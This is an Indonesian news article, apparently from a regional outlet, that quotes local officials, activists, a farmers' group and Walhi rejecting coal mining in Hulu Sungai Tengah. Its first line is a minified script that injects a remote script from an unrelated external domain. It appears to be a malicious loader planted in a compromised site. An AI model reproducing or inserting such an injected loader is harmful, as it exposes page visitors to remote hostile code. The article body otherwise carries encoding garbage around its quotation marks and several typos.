(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Hukum

Mereka yang Bersuara Menolak Eksploitasi Tambang Batubara di HST

BANJARBARU, Berbagai suara dari baik dari masyarakat, aktivis, lembaga, instansi pemrintah, telah menyatakan penolakan atas eksploitasi tambang di Kabupaten Hulu Sungai Tengah (HST). Berbagai bentuk penolakan mulai dari menggelar petisi di charge.org yang berhasil mengumpulkan puluhan ribu tandangan, aksi keprihatinan, diskusi, demo, hingga upaya judicial review dilakukan.

Berikut rangkuman dari beberapa suara yang penolakan yang dihimpin Kanalkalimantan.com, dari berbagai wawancara berbagai media.

Pemkab Hulu Sungai Tengah (HST):

Ã¢â‚¬Å“Sikap Pemkab HST tetap seperti semula. Tidak akan memberi izin tambang batu bara dan perkebunan kelapa sawit di wilayah HST, sesuai aspirasi masyarakat. Saya berharap kebijakan Pemkab juga didukung penuh masyarakat,Ã¢â‚¬Â (HA Chairansyah/Wakil Bupati)

—————–

Orpala Gabungan Anak Rimba Meratus Batangalai Selatan (Garimbas):

Ã¢â‚¬Å“Kami menolak adanya tambang di HST. Kami akan menggalang ribuan tandatangan warga sebagai wujud penolakan,Ã¢â‚¬Â (Fery Prestyadi, Ketua Garimbas)

—————–

Kontak Tani dan Nelayan Andalan (KTNA) HST:

Ã¢â‚¬Å“KTNA tetap pada sikap awal, menolak penambangan batubara. Soal gugatan Judicial Review, kita juga siap bersama masyarakat lainnya menjadi salah satu penggugat,Ã¢â‚¬Â (M Saleh, Wakil Ketua)

—————–

Keluarga Besar Bukat Barabai :

Ã¢â‚¬Å“Kami meminta Pemkab dan DPRD HST, Pemprov dan DPRD Kalsel serta segenap warga Kalsel terkhusus warga Barabai di mana pun berada untuk bersatu padu. Satu tujuan kita, menolak dan melawan semua bentuk kebijakan dan keputusan yang mengabaikan kepentingan masyarakat HST,Ã¢â‚¬Â (Subhan Syarief, inisiator)

————-

Wahana Lingkungan Hidup Indonesia (Walhi) Kalsel:

Ã¢â‚¬Å“Kalimantan Selatan sudah mengalami darurat ruang dan darurat bencana ekologis dengan terbitnya izin baru. Tentu, hal ini sangat mengancam keselamatan rakyat di Kalimantan Selatan,Ã¢â‚¬Â (Kisworo Dwi Cahyono, Direktur)

—————-